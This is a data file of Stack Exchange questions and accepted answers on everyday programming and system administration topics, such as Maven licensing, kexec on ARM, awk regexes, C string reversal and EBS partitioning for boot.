{  "id": "_softwareengineering.185718"  , "question": "I'm producing a binary distributable for my Java project. I'm releasing it in two ways:Maven CentralZipped distributable on Google codeMy project is licensed under the Apache 2.0 license. I use a small number of third-party parties, one of which is MIT licensed. I believe it's my obligation to make users of my project aware of the license contents, based on the following text from the license:The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.How am I best to reference this within my source and my distributables? I'm currently thinking:My source files needn't reference anything. They just include my Apache 2.0 boilerplate notice.I add a LICENSE.txt file at the root of my project including the Apache 2.0 license text.For my zipped distributable, I need to also add something that indicates a component is MIT licensed. Perhaps a NOTICE file?For my Maven Central distribution, I needn't do anything as my artifact just declares its dependencies, but doesn't actually include them.Does this seem like a valid plan? If so, can anyone advise how to accomplish point 3."  , "title": "How to include licenses for third-party Maven dependencies?"  , "tags": "java;licensing;mit license;maven;apache license"  } 
{  "id": "_webapps.27113"  , "question": "If I copy text with a line break in it, like this...1st line2nd line...and then paste in into a Google Docs spreadsheet cell, then it pastes '2nd line' into the cell below. What are the easiest ways to avoid this?"  , "title": "Pasting text with line breaks into Google Spreadsheets creates multiple cells"  , "tags": "google drive;google spreadsheets"  , "accepted_answer": "Based on http://productforums.google.com/forum/#!category-topic/docs/formatting/-uEh3jguVu0 you can  copy the info single cell by single cell and paste the information in edit mode of the receiving cell; i,e. double-click the cell first before you paste the single cell contents. Though this is hardly 'easy' so there may be a better answer out there..."  } 
{  "id": "_unix.237580"  , "question": "Summary: Crashkernel boots at 512MB address in RAM with kexec -e/-l but not with kexec -p - why?Embedded platform with Marvell Armada XP (MV78460) (ARMv7 with 4 cores) and 1GB of RAM. production kernel: customized Linux 3.4.91 rescue kernel: clean kernel.org-Linux (4.2.3) (I am aware that it uses device trees but that works fine by appending DTB to zImage) in user-space, I am using the latest kexec-tools (2.0.10)History: Using kexec -l (with ramdisk and command line params from 3.4.91-kernel, and --atags) and kexec -e, the rescue kernel boots just fine and seems to place itself in the beginning of RAM (according to /proc/iomem) regardless of what is being set via --mem-min and --mem-max. When reserving space in RAM using the boot-option crashkernel, I have to use a high memory address because otherwise it tells me the requested area is already in use. So we set crashkernel=128M@512M. The kernel does not boot with kexec -p.Current status: I understand that relocatable kernels (CONFIG_AUTO_ZRELADDR=y) must reside within the top 128MB which is not possible for us. So I have worked around the standard kernel configuration and forced CONFIG_ARM_PATCH_PHYS_VIRT to no and CONFIG_PHYS_OFFSET to 0x20000000. I had to add a Makefile.boot for the machine where I set zreladdr-y := 0x20008000, params_phys-y := 0x20000100, initrd_phys-y := 0x20800000.Now the kernel still boots fine using kexec -l and kexec -e and according to --mem-min. I can see it is placed at 512MB. However, configuring it with -p and causing a panic, the console says Loading crashdump kernel... Bye! and remains silent forever.All files and everything is only located in RAM.What could I be doing wrong? Should I worry about the decompression errors (even in the good case)?From dmesg:Reserving 128MB of memory at 512MB for crashkernel (System RAM: 760MB)root@host:~# cat /proc/iomem00000000-3bff9fff : System RAM  00008000-00724f43 : Kernel code  0076e000-0087553f : Kernel data  20000000-27ffffff : Crash kernel(some RAM at the end is reserved for persistent storage, that's why it doesn't add up to 1GB)Successful case:root@host:~# kexec -l -t zImage --command-line=console=ttyS0,38400 earlyprintk=ttyS0 root=/dev/ram rdinit=/sbin/init rw irqpoll maxcpus=1 reset_devices --atags --initrd=./initramfs.cpio.gz -d --mem-min=0x20000000 --mem-max=0x28000000 ./zImage_fixed_addrTry gzip decompression.Try LZMA decompression.lzma_decompress_file: read on ./zImage_fixed_addr of 65536 bytes failedkernel: 0xb6c06008 kernel_size: 0x3db659kexec_load: entry = 0x20008000 flags = 0x280000nr_segments = 3segment[0].buf   = 0x40e98segment[0].bufsz = 0x3f0segment[0].mem   = 0x20001000segment[0].memsz = 0x1000segment[1].buf   = 0xb6c06008segment[1].bufsz = 0x3db659segment[1].mem   = 0x20008000segment[1].memsz = 0x3dc000segment[2].buf   = 0xb5ade008segment[2].bufsz = 0x1127516segment[2].mem   = 0x20f6e000segment[2].memsz = 0x1128000root@host:~# kexec -eStarting new kernelBooting Linux on physical CPU 0x0...After boot:root@vanilla:~# cat /proc/iomem20000000-3fffffff : System RAM  20008000-206dd237 : Kernel code  20720000-2078f54f : Kernel dataUnsuccessful case:root@host:~# kexec -p -t zImage --command-line=console=ttyS0,38400 earlyprintk=ttyS0 root=/dev/ram rdinit=/sbin/init rw irqpoll maxcpus=1 reset_devices --atags --initrd=./initramfs.cpio.gz -d ./zImage_fixed_addrTry gzip decompressionTry LZMA decompression.lzma_decompress_file: read on ./zImage_fixed_addr of 65536 bytes failedkernel: 0xb6b69008 kernel_size: 0x3db659phys_offset: 0kernel symbol _stext vaddr =         c0008240page_offset is set to c0000000get_crash_notes_per_cpu: crash_notes addr = 10f525c, size = 1024Elf header: p_type = 4, p_offset = 0x10f525c p_paddr = 0x10f525c p_vaddr = 0x0 p_filesz = 0x400 p_memsz = 0x400get_crash_notes_per_cpu: crash_notes addr = 10ff25c, size = 1024Elf header: p_type = 4, p_offset = 0x10ff25c p_paddr = 0x10ff25c p_vaddr = 0x0 p_filesz = 0x400 p_memsz = 0x400get_crash_notes_per_cpu: crash_notes addr = 110925c, size = 1024Elf header: p_type = 4, p_offset = 0x110925c p_paddr = 0x110925c p_vaddr = 0x0 p_filesz = 0x400 p_memsz = 0x400get_crash_notes_per_cpu: crash_notes addr = 111325c, size = 1024Elf header: p_type = 4, p_offset = 0x111325c p_paddr = 0x111325c p_vaddr = 0x0 p_filesz = 0x400 p_memsz = 0x400vmcoreinfo header: p_type = 4, p_offset = 0x7f1330 p_paddr = 0x7f1330 p_vaddr = 0x0 p_filesz = 0x1000 p_memsz = 0x1000Elf header: p_type = 1, p_offset = 0x0 p_paddr = 0x0 p_vaddr = 0xc0000000 p_filesz = 0x20000000 p_memsz = 0x20000000Elf header: p_type = 1, p_offset = 0x28000000 p_paddr = 0x28000000 p_vaddr = 0xe8000000 p_filesz = 0x13ffa000 p_memsz = 0x13ffa000elfcorehdr: 0x27f00000crashkernel: [0x20000000 - 0x27ffffff] (128M)memory range: [0 - 0x1fffffff] (512M)memory range: [0x28000000 - 0x3bff9fff] (319M)kernel command line: console=ttyS0,38400 earlyprintk=ttyS0 root=/dev/ram rdinit=/sbin/init rw irqpoll maxcpus=1 reset_devices elfcorehdr=0x27f00000 mem=130048Kkexec_load: entry = 0x20008000 flags = 0x280001nr_segments = 4segment[0].buf   = 0x416e0segment[0].bufsz = 0x410segment[0].mem   = 0x20001000segment[0].memsz = 0x1000segment[1].buf   = 0xb6b69008segment[1].bufsz = 0x3db659segment[1].mem   = 0x20008000segment[1].memsz = 0x3dc000segment[2].buf   = 0xb5a41008segment[2].bufsz = 0x1127516segment[2].mem   = 0x20f6e000segment[2].memsz = 0x1128000segment[3].buf   = 0x412a0segment[3].bufsz = 0x400segment[3].mem   = 0x27f00000segment[3].memsz = 0x1000<cause crash via SysRq>Loading crashdump kernel...Bye!"  , "title": "Boot rescue kernel at high memory address using kexec on arm"  , "tags": "kernel;memory;kexec"  } 
{  "id": "_webapps.22981"  , "question": "If I make a member an admin of an organization will this allow that member to invite other members as well? Is this possible?"  , "title": "Trello invitations for Organizations"  , "tags": "trello"  , "accepted_answer": "Anyone who is an admin of an organisation can invite other people so long as they're still an admin.AddingYou can create a new organization through your accounts page, with the Start an Organization button at the bottom.To add members to an organization, first go to the organization profile. You can get to the organization profile from the link in your board page or the link next to the title of a board. Then click Members in the sidebar. In the input field, enter an email address to invite or search for a current member. NOTE: You must be an admin of an organization to add members.So after you've created the organisation, you can create your own Avon club of admins inviting new users to the group on the greater organisation's behalf."  } 
{  "id": "_cstheory.27233"  , "question": "I'm currently enrolled in a course that introduces Turing machines. As I wanted to play around a bit, I wrote a little TM engine and had it search for busy beavers (it successfully found the 4-state 2-symbol BB listed in Wikipedia).To more quickly eliminate bad candidates, I'm searching for conditions that imply indefinite runtime. I found a couple of filters already, but the number of indefinite runs is still rather high (indefinite, as in, either seemingly running forever or sometimes checked manually).In this questions in particular I would like to inquire what space requirements a BB must have after a certain number of shifts. If it accessed less of the tape than this number, it can be dismissed directly. For this purpose, consider the tape length to extend exactly as far as the head went at most in either direction.As simple upper bound I guess something like $N_{shifts} \\leq {N_{TapeLength}}^{|Q|}$ could work, though I am not sure this is even correct. Also, it should certainly be possible to improve this boundary considerably.Edit: I currently employ the following eliminations:StaticFixed first/last transition (A0-B1R,xx-H1R)State enumeration orderingAll states in transitive closure of AH in transitive closure of all statesTrap statesEquivalent statesInability to change the tapeDynamicAt either end of the tape, current state's transitive closure (using only 0-transitions) always directs further away"  , "title": "Busy beaver candidate elimination: Minimum space requirements"  , "tags": "turing machines"  , "accepted_answer": "There are many methods for detecting that specific TMs will run infinitely. As Marzio mentioned, Heiner Marzen's page and papers provide almost all of the currently used methods.The method you describe is a great simple requirement. Specifically, if we know that the TM has only moved around on a small tape of size $N_{tape}$, then the exact configuration at every step so far can be described by (1) the symbols at each of these $N_{tape}$ cells, (2) the position of the reading head and (3) the TM state. Thus there are $|Q| \\cdot N_{tape} \\cdot |S|^{N_{tape}}$ possible configurations (Where $|Q|$ is the number of states and $|S|$ is the number of symbols). So, if the TM has taken more than that many steps of computation, you know that it must have been in one configuration at least twice and thus that it will infinitely repeat.However, I don't think this method works very often in practice because it is more common for TMs to run off infinitely in one direction than to stay on a small section of tape."  } 
{  "id": "_codereview.146556"  , "question": "I am doing some iteration over an array which have another set of array (the nested array). I need to .map() the outer array in such a way that it should filter out the nested array based on some criteria.  Following is the example:JSON[{  id: CAM000001,  type: 128,  name: abc,  fieldSets:  [    {      fields:      [        {          entity_name: abc_id,          type: String,          value:         },        {          entity_name: abc_name,          type: String,          value: XYZ Inc.        },        {          entity_name: created_on,          type: Date,          value: 09/20/2016        }      ]    }  ]}]  Code datas = datas.map(data => {  data.fieldSets[0].fields = data.fieldSets[0].fields.filter(field => {    return field.entity_name === 'abc_name';  });  return data;});  I searched a bit, and it seems like above code has time complexity of \\$\\mathcal{O}(n^2)\\$ (I am still learning about time and space complexity, please correct my understanding if it's wrong).  So, considering the large datasets, if fields (nested array) and datas (parent array) is growing in size, it would cost much. So can you please help me to understand what could be the best possible solution to avoid worst time complexities? Is whatever I am doing here correct?"  , "title": "Complexities: Filtering out nested array inside an array"  , "tags": "javascript;algorithm;complexity"  } 
{  "id": "_unix.137514"  , "question": "I've captured udp traffic to a pcap file. When replaying with tcpreplay-edit, I'd like to shorten all pauses (where there is no udp traffic at all) to x seconds max. tcpreplay-edit only has a global speed multiplier.Is there any automated way to do this? Ideally without resorting to guis like wireshark, but any solution is welcome."  , "title": "Remove pauses greater than x from pcap file"  , "tags": "tcpdump;wireshark"  } 
{  "id": "_unix.136104"  , "question": "Where is the documentation for net.ipv4.conf.all.log_martians sysctl setting? There are man pages for various other TCP/IP/UDP (man 7 tcp, man 7 upd, man 7 ip) settings, but I can't find the net.ipv4.conf.all.log_martians docs.Note: I want official documentation from Linux; not random sites from google."  , "title": "Where is the documentation for net.ipv4.conf.all.log_martians?"  , "tags": "linux;man;documentation"  , "accepted_answer": "Things you find in the man pages are generally about programming, and the C API. Non-programming documentation is generally found in the kernel itself.https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/Documentation/networking/ip-sysctl.txt?id=bb077d600689dbf9305758efed1e16775db1c84c#n843And those random google sites aren't usually wrong. I'm sure you'll find that many of them are just online versions of the kernel documentation."  } 
{  "id": "_unix.162495"  , "question": "I have a file in /etc named radius which contains the user account details similar to /etc/passwd but of Radius users. How do I configure /etc/nsswitch.conf to check /etc/radius in addition to checking /etc/passwd when searching for local files?For exampleI have a  line in my /etc/nsswitch.conf which sayspasswd:     files nisfiles here searches only in /etc/passwd. How do I make it search other files?"  , "title": "Editing nsswitch.conf to check for files other than /etc/passwd while searching local files for user details"  , "tags": "password;nsswitch;radius"  } 
{  "id": "_unix.111108"  , "question": "I'm using tape storage drive HP LTO3 1x8 auto-loader which is connected to my server running CentOS. it is detected in CentOS correctly.cat /proc/scsi/scsi Host: scsi2 Channel: 00 Id: 01 Lun: 00 Vendor: HP       Model: 1x8 autoloader   Rev: 1.50 Type:   Medium Changer                   ANSI  SCSI revision: 03lsscsi[1:0:0:0]    cd/dvd  NECVMWar VMware IDE CDR10 1.00  /dev/sr0[2:0:0:0]    disk    VMware   Virtual disk     1.0   /dev/sda[2:0:1:0]    mediumx HP       1x8 autoloader   1.50  /dev/sch0But the tape device file (st* or nst*) inside the /dev directory has not been created.I've loaded all the modules  Module                  Size   Used bysym53c8xx              77039   0 aic7xxx                119025   0 st                     38660  0autofs4                26888  3sunrpc                243758  1ipt_REJECT              2383  2nf_conntrack_ipv4       9506  2nf_defrag_ipv4          1483  1 nf_conntrack_ipv4iptable_filter          2793  1ip_tables              17831  1 iptable_filterip6t_REJECT             4628  2nf_conntrack_ipv6       8748  2nf_defrag_ipv6         12182  1 nf_conntrack_ipv6xt_state                1492  4nf_conntrack           79453  3 nf_conntrack_ipv4,nf_conntrack_ipv6,xt_stateip6table_filter         2889  1ip6_tables             19458  1 ip6table_filteripv6                  322029  29 ip6t_REJECT,nf_conntrack_ipv6,nf_defrag_ipv6ppdev                   8729  0parport_pc             22978  0parport                37265  2 ppdev,parport_pce1000                 167662  0microcode             112594  0vmware_balloon          7199  0ch                     13503  0i2c_piix4              12608  0i2c_core               31276  1 i2c_piix4sg                     30124  0shpchp                 33482  0ext4                  364410  3mbcache                 8144  1 ext4jbd2                   88738  1 ext4sd_mod                 39488  4crc_t10dif              1541  1 sd_modsr_mod                 16228  0cdrom                  39771  1 sr_modmptspi                 17051  12mptscsih               36732  1 mptspimptbase                93845  2 mptspi,mptscsihscsi_transport_spi     26151  3 sym53c8xx,aic7xxx,mptspipata_acpi               3701  0ata_generic             3837  0ata_piix               22846  0dm_mirror              14101  0dm_region_hash         12170  1 dm_mirrordm_log                 10122  2 dm_mirror,dm_region_hashdm_mod                 81500  12 dm_mirror,dm_logoutput of  dmesg | grep scsiscsi0 : ata_piixscsi1 : ata_piixscsi 1:0:0:0: CD-ROM            NECVMWar VMware IDE CDR10 1.00 PQ: 0 ANSI: 5scsi2 : ioc0: LSI53C1030 B0, FwRev=01032920h, Ports=1, MaxQ=128, IRQ=17scsi 2:0:0:0: Direct-Access     VMware   Virtual disk     1.0  PQ: 0 ANSI: 2scsi target2:0:0: Beginning Domain Validationscsi target2:0:0: Domain Validation skipping write testsscsi target2:0:0: Ending Domain Validationscsi target2:0:0: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 127)scsi 2:0:1:0: Medium Changer    HP       1x8 autoloader   1.50 PQ: 0 ANSI: 3scsi target2:0:1: Beginning Domain Validationsr0: scsi3-mmc drive: 1x/1x writer dvd-ram cd/rw xa/form2 cdda traysr 1:0:0:0: Attached scsi CD-ROM sr0scsi: waiting for bus probes to complete ...scsi target2:0:1: Ending Domain Validationscsi target2:0:1: FAST-160 WIDE SCSI 320.0 MB/s DT IU RDSTRM RTI WRFLOW PCOMP (6.25 ns, offset 127)sr 1:0:0:0: Attached scsi generic sg0 type 5sd 2:0:0:0: Attached scsi generic sg1 type 0scsi 2:0:1:0: Attached scsi generic sg2 type 8ch 2:0:1:0: Attached scsi changer ch0Does anyone face this issue before and find a solution?"  , "title": "I can't find tape device file inside /dev directory"  , "tags": "linux;kernel modules;storage;scsi;tape"  } 
{  "id": "_codereview.154928"  , "question": "I wrote a function to reverse a char-array (string).Since I'm beginner and didn't work with malloc and stuff before, maybe someone could take a look, if this is fine, what I'm doing here?char* reverse_string(char* string){    // getting actual length of the string    size_t length = strlen(string);    // allocate some space for the new string    char* new_string = malloc(sizeof(char)*(length+1));    // index for looping over the string    int actual_index = 0;    // iterating over the string until '\\0'    while(string[actual_index] != '\\0')         new_string[length-actual_index-1] = string[actual_index++];    // setting the last element of string-array to '\\0'     new_string[length] = '\\0';    // free up the allocated memory    free(new_string);    // return the new string    return new_string;}"  , "title": "malloc and free of a char-array"  , "tags": "beginner;c;strings;reinventing the wheel;pointers"  , "accepted_answer": "Here are some things that may help you improve your code.Fix the bugOnce memory is freed, it should not be referenced again.  Unfortunately, your code allocates memory and then frees it and then returns a pointer to the freed memory.  That's a serious bug!  To fix it, simply omit the free within the function and make sure the caller calls free instead.  Alternatively, you could avoid all of that by reversing the passed string in place.Use the required #includesThe code uses strlen which means that it should #include <string.h> and malloc and free which means that it should #include <stdlib.h>.  It was not difficult to infer, but it helps reviewers if the code is complete.Use const where practicalIn your revere_string routine, the string passed into the function is not and should not be altered.  You should indicate that fact by declaring it like this:char* reverse_string(const char* string)Check for NULL pointersThe code must avoid dereferencing a NULL pointer if the call to malloc fails.  The only indication that it has failed is if malloc returns NULL; if it does, it would probably make most sense to immediately return that NULL pointer.Learn to use pointers instead of indexingUsing pointers effectively is an important C programming skill.  This code could be made much simpler by doing an in-place reversal of the passed string and by using pointers:char* reverse_string(char* string) {    if (string == NULL)         return string;    char *fwd = string;    char *rev = &string[strlen(string)-1];    while (rev > fwd) {        char tmp = *rev;        *rev-- = *fwd;        *fwd++ = tmp;    }    return string;}"  } 
{  "id": "_softwareengineering.151440"  , "question": "I've been developing the client-side for my web-app in JavaScript.The JavaScript can communicate with my server over REST (HTTP)[JSON, XML, CSV] or RPC (XML, JSON).I'm writing writing this decoupled client in order to use the same code for both my main website and my PhoneGap mobile apps.However recently I've been worrying that writing the website with almost no static content would prevent search-engines (like Google) from indexing my web-page.I was taught about this restriction about 4 years ago, which is why I'm asking here, to see if this restriction is still in-place.Does heavy JavaScript use adversely impact Googleability?"  , "title": "Does heavy JavaScript use adversely impact Googleability?"  , "tags": "javascript;google;research;search engine;seo"  , "accepted_answer": "Google (and I suspect Bing as well) have gotten much better at reading and indexing text found in JavaScript elements during the past 3-5 years or so. They do this for two reasons. First, to provide better indexing of content for users and, second, to detect and thwart various spamming techniques. The problem is that you may not get indexed as well as you would like for the keywords you want or for long tail combos that may be valuable. Let's say that your topic was on dog training supplies. You might be able to rank for dog training supplies if your incoming links were good and other on-page elements fit the search engines' statistical profiles. However, since you have content for German Shepard training supplies or Great Dane training supplies buried inside a lot of replaceable text, you might not rank as easily for these terms. There are some ways to manage this but the best strategy will depend on specifics for your site.Another thing to consider is that splitting off content into standard and mobile sections can cause ranking problems as well. Make sure that you use the canonical tag to indicate that your standard page is the one that should be considered the primary source. This avoids duplicate content filtering and possible penalties associated with the recent Google Panda update. "  } 
{  "id": "_unix.49601"  , "question": "I want to do non-greedy pattern (regular expression) matching in awk.Here is an example:echo @article{gjn, Author =   {Grzegorz J. Nalepa},  | awk '{ sub(/@.*,/,); print }'Is it possible to write a regular expression that selects the shorter string?@article{gjn,instead of this long string?:@article{gjn, Author =   {Grzegorz J. Nalepa},I want to get this result: Author =   {Grzegorz J. Nalepa},I have another example:echo ,article{gjn, Author =   {Grzegorz J. Nalepa},  | awk '{ sub(/,[^,]*,/,); print }'                                                                    ^^^^^Note that I changed the @ characters to comma (,) charactersin the first position of both the input string and the regular expression(and also changed .* to [^,]*).Is it possible to write a regular expression that selects the shorter string?, Author =   {Grzegorz J. Nalepa},instead of the longer string?:,article{gjn, Author =   {Grzegorz J. Nalepa},I want to get this result:,article{gjn"  , "title": "How to reduce the greediness of a regular expression in AWK?"  , "tags": "awk;regular expression"  , "accepted_answer": "If you want to select @ and up to the first , after that, you need to specify it as @[^,]*,That is @ followed by any number (*) of non-commas ([^,]) followed by a comma (,)."  } 
{  "id": "_datascience.19125"  , "question": "I want to calculate the frequency of the words in obama['text'] (obama is the variable where i have stored this series element ) in a dictionary  and store it in another column . Without using Counter library , how do i do that . The data is in this format : URI                                      |              name                |  text <http://dbpedia.org/resource/Barack_Obama>           Barack Obama               barack hussein obama ii brk husen bm born august 4 1961 is the 44th and current president of the united states and the first african american to hold the office born in honolulu hawaii obama is a graduate of columbia university and harvard law school where he served as president of the harvard law review he was a community organizer in chicago before earning his law degree he worked as a civil rights attorney and taught constitutional law at the university of chicago law school from 1992 to 2004 he served three terms representing the 13th district in the illinois senate from 1997 to 2004 running unsuccessfully for the united states house of representatives in 2000in 2004 obama received national attention during his campaign to represent illinois in the united states senate with his victory in the march democratic party primary his keynote address at the democratic national convention in july and his election to the senate in november he began his presidential campaign in 2007 and after a close primary campaign against hillary rodham clinton in 2008 he won sufficient delegates in the democratic party primaries to receive the presidential nomination he then defeated republican nominee john mccain in the general election and was inaugurated as president on january 20 2009 nine months after his election obama was named the 2009 nobel peace prize laureateduring his first two years in office obama signed into law economic stimulus legislation in response to the great recession in the form of the american recovery and reinvestment act of 2009 and the tax relief The output should be in the format in a new column obama['word count']:{ 2009:4 , the :40 , chicago :10and so on  } "  , "title": "Count the frequncy of words in a cell of a column in a series"  , "tags": "machine learning;python;pandas"  , "accepted_answer": "Why shouldn't you use the Counter class; it's exactly what you need?from pandas import Seriesfrom collections import Countertext=barack hussein obama ii brk husen bm born august 4 1961 is the 44th and current president of the united states and the first african american to hold the office born in honolulu hawaii obama is a graduate of columbia university and harvard law school where he served as president of the harvard law review he was a community organizer in chicago before earning his law degree he worked as a civil rights attorney and taught constitutional law at the university of chicago law school from 1992 to 2004 he served three terms representing the 13th district in the illinois senate from 1997 to 2004 running unsuccessfully for the united states house of representatives in 2000in 2004 obama received national attention during his campaign to represent illinois in the united states senate with his victory in the march democratic party primary his keynote address at the democratic national convention in july and his election to the senate in november he began his presidential campaign in 2007 and after a close primary campaign against hillary rodham clinton in 2008 he won sufficient delegates in the democratic party primaries to receive the presidential nomination he then defeated republican nominee john mccain in the general election and was inaugurated as president on january 20 2009 nine months after his election obama was named the 2009 nobel peace prize laureate during his first two years in office obama signed into law economic stimulus legislation in response to the great recession in the form of the american recovery and reinvestment act of 2009 and the tax reliefdf = Series(text).to_frame()newdf = df.assign(word_count = lambda x: x[0].str.split(' ').apply(Counter)[0])newdf['word_count']0    {'44th': 1, 'born': 2, 'november': 1, 'running..."  } 
{  "id": "_cs.16757"  , "question": "I'm playing around with tournaments and currently have the problem that I need to check whether a given subset of the edges of a tournament is transitive (it need not be acyclic). I'm aware that I can always take the transitive closure of the edge set and see whether it terminates without adding a single edge or not, but I was wondering if there might be a simpler way than that.Note that I'm specifically going for simplicity, not efficiency; the tournaments I want to check are over a maximum of $7$ vertices, so complexity really isn't an issue. I would prefer simple, easy to implement ways. The simplest I could find so far is Floyd-Warshall, but maybe someone knows anything that's simpler still."  , "title": "Simplest way to check edge set for transitivity"  , "tags": "algorithms;graphs;transitivity"  , "accepted_answer": "There's a very simple algorithm for this:for each edge (u,v) in the graph:    for each edge (v,w) in the graph:        if (u,w) is not in the graph, return Not transitivereturn TransitiveBasically, if the graph is not transitive, then you can always find some path of length two $u\\to v \\to w$ such that the edge $u \\to w$ is not present in the graph.  If the graph is transitive, there won't be any such path of length 2.  So, just check this condition."  } 
{  "id": "_webapps.60309"  , "question": "I use Dropbox at my workplace and using selective sync, only allowed the syncing of certain folders. However, as I noticed, other people can easily sync my other files if they simply swoop in my workstation without me noticing.Is it possible to require password checks (or a similar security measure) before allowing changes to Dropbox preferences?"  , "title": "Prevent other users from changing Dropbox Desktop preferences"  , "tags": "security;dropbox"  } 
{  "id": "_unix.160057"  , "question": "I'm trying to write a bash script which will copy a bunch of files and directories from a directory, omitting a couple but taking everything else.I have got a command that does this and works from the command line:cp -r !(dspace.cfg|README.md) ~/tmp/directoryThis does exactly what I want it to do, so I've put it into my bash script (which does some other things besides), so it looks like this:#!/bin/bashSRC=/targetMAVEN=mvn# copy everything except the readme and the dspace.cfg extensioncp -r !(dspace.cfg|README.md) $SRC/configAnd when I run it I get:$ bash addmodule.sh addmodule.sh: line 7: syntax error near unexpected token `('addmodule.sh: line 7: `cp -r !(dspace.cfg|README.md) $SRC/config'I've checked all the obvious things: the shebang is right, I'm running it explicitly with bash from the command line (I've checked that on my Ubuntu 14.04 system that this really is bash and not dash), and I've checked that posix is off (though I'm not sure if that would make any difference in this case).I'm a total newbie at bash programming - basically all I want is a script that wraps up a few commands that I'd run from the command line, and that's about the extent of my knowledge!  Any help much appreciated."  , "title": "bash syntax error near unexpected token `(' - but everything looks like it should work"  , "tags": "bash;shell"  } 
{  "id": "_softwareengineering.132517"  , "question": "Sorry if this question is not appropriate for this stack exchange site, I've never used this one before. I am doing my senior project on computer programming. I'm going to be presenting the project to classmates, teachers and (most importantly) judges, who haven't the slightest clue what programming is.My question is somewhat broad, but how should I make my project to be about programming but still be simple enough for the judges to understand? Here are some things I considered:The project will focus on the history of programming, what it has accomplished, how it is used today, etc. and I will show pictures of code and say This is what code looks like. So the presentation would be simple, easy, and average.Try to explain a little bit of code, perhaps show a loop in action or something like that, and try to make the audience think a bit rather than just watch someone present some stuff they consider to be boring. But then again, I don't want to make them feel stupid or anything."  , "title": "How to explain the history of programming to non-programmers?"  , "tags": "education;history;presentation"  , "accepted_answer": "If your presentation is about the history of programming I would focus on how a computer only understands binary, and that binary is essentially impossible for a human to understand so programming languages were created. From there I would show the same sample program in several languages to show the evolution to modern languages, something simple but not a bit more than hello world. This would cover concepts like compiling, and how language A can be used to create language B. Talking about how memory constraints factored into design would also be good.Explaining what a loop does or steeping through code explaining why its done this way isn't as related programming, because it would be an explanation of instruction logic that has existed longer than just electronic computers (finite state machines, mechanical computers). While this is a concept that is fundamental to programming, it explains what programming is rather than what has been accomplished through programming/how its used today."  } 
{  "id": "_unix.345099"  , "question": "I'm working with Amazon Linux in AWS and attempting to setup multiple file systems on a single EBS Volume (block device) for compliance reasons. I'm doing this by mounting an EBS Volume to an already-running EC2 Instance, executing a series of commands, unmounting it, creating a snapshot and then turning it into an AMI.I can get everything working with a basic set of commands that simply delete and re-add an existing partition. But when I add a second partition, I'm no longer able to launch any EC2 Instances from that AMI. Instead, using the Get Instance Screenshot functionality in AWS, the EC2 Instance never boots and I see this:When I execute the following commands from a host EC2 Instance on which I've mounted an EBS Volume, everything works as expected:# Make a tar of the current EBS Volumeumount -l /mnt/ebs-volumemount -o ro /dev/xvdf1 /mnt/ebs-volumetar -cf /tmp/ebs.tar --exclude='./dev/*' --exclude='./proc/*' --exclude='./sys/*' /mnt/ebs-volumeumount /mnt/ebs-volume# Replace the old partition with one new partition and format it as ext4sgdisk --delete 1 /dev/xvdfsgdisk --new 1:0:+7800M /dev/xvdf && sgdisk --change-name 1:Linux/sbin/mkfs.ext4 -F -m0 -O ^64bit /dev/xvdf1 && e2label /dev/xvdf1 /# Mount the new partition and restore the snapshotmount /dev/xvdf1 /mnt/ebs-volumecd / && tar -xf /tmp/ebs.tar --acls --selinux --xattrs && rm /tmp/ebs.tar# I don't make any updates to the /etc/fstab fileBut when I execute these commands instead, the EC2 Instance fails to boot as shown above:# Make a tar of the current EBS Volumeumount -l /mnt/ebs-volumemount -o ro /dev/xvdf1 /mnt/ebs-volumetar -cf /tmp/ebs.tar --exclude='./dev/*' --exclude='./proc/*' --exclude='./sys/*' /mnt/ebs-volumeumount /mnt/ebs-volume# Replace the old partition with two new partitions and format them as ext4sgdisk --delete 1 /dev/xvdfsgdisk --new 1:0:+7800M /dev/xvdf && sgdisk --change-name 1:Linuxsgdisk --new 2:0:+100M /dev/xvdf/sbin/mkfs.ext4 -F -m0 -O ^64bit /dev/xvdf1 && e2label /dev/xvdf1 //sbin/mkfs.ext4 -F -m0 -O ^64bit /dev/xvdf2# Mount the new partitions and restore the snapshotmount /dev/xvdf1 /mnt/ebs-volumemkdir -p /mnt/ebs-volume/boot && mount /dev/xvdf2 /mnt/ebs-volume/bootcd / && tar -xf /tmp/ebs.tar --acls --selinux --xattrs && rm /tmp/ebs.tar# I now execute commands that write the below /etc/fstab file to the volume at /mnt/ebs-volume/etc/fstab/etc/fstab:LABEL=/     /               ext4    defaults,noatime    1   1/dev/xvda2  /boot           ext4    defaults,noatime    0   0tmpfs       /dev/shm        tmpfs   defaults            0   0devpts      /dev/pts        devpts  gid=5,mode=620      0   0sysfs       /sys            sysfs   defaults            0   0proc        /proc           proc    defaults            0   0Why would adding a separate file system for /boot cause this error? Am I missing something in my /etc/fstab or perhaps another file somewhere since I suppose this new configuration is now no longer the same as the original configuration."  , "title": "Why does this change render my Block Device unbootable?"  , "tags": "boot;partition;fdisk;block device;aws"  , "accepted_answer": "This may require some pre-history of the PC boot sequence to fully explain.  (Modern PC's with UEFI do things differently, but the logic is similar).So let's look back at the 80s, when PCs first started to have hard disks.The BIOS would load the first sector of the hard disk.  This contained the Master Boot Record (MBR), which was a combination of code and the partition table.  There was only 512 bytes to hold all of this, so coding was tight.The MBR would look at the partition table and find out which partition was active and where it started.  It would then load a secondary boot system, which was stored inside that partition.  (Historically this meant the secondary boot loader had to be within the first 504Mb of disk).  This code knew about the filesystem and could load the OS (typically IO.SYS, MSDOS.SYS, COMMAND.COM).  And thus DOS booted.  A typically new PC would require fdisk /mbr to install this primary boot sector.The fact that it was software in the MBR made the boot process flexible and allowed alternate boot loaders.  An early boot loader for Linux was LILO (Linux Loader).  This had a primary loader, a secondary loader.  It knew about standard Linux filesystems and was able to dual boot Linux and DOS (and Windows).Later GRUB (and then GRUB2) came along.  But they all follow the primary/secondary boot loader process.Now what you're doing is moving the secondary boot process when you modify the /boot partition.  The (pretty dumb) primary boot loader doesn't know where the find the smart part.  And so your VM fails to boot.What you need to do is the modern equivalent of the old fdisk /mbr process; you need to tell your MBR where to find the secondary loader.How you do this depends on what boot loader you're using.  It may be grub-install or grub2-install or lilo.  It'll depend on the OS variant (CentOS, Ubuntu, Debian, Amazon... they may all be different).This doesn't tell you what to do to fix your build, but at least, now, you should understand why your OS fails to boot!"  } 
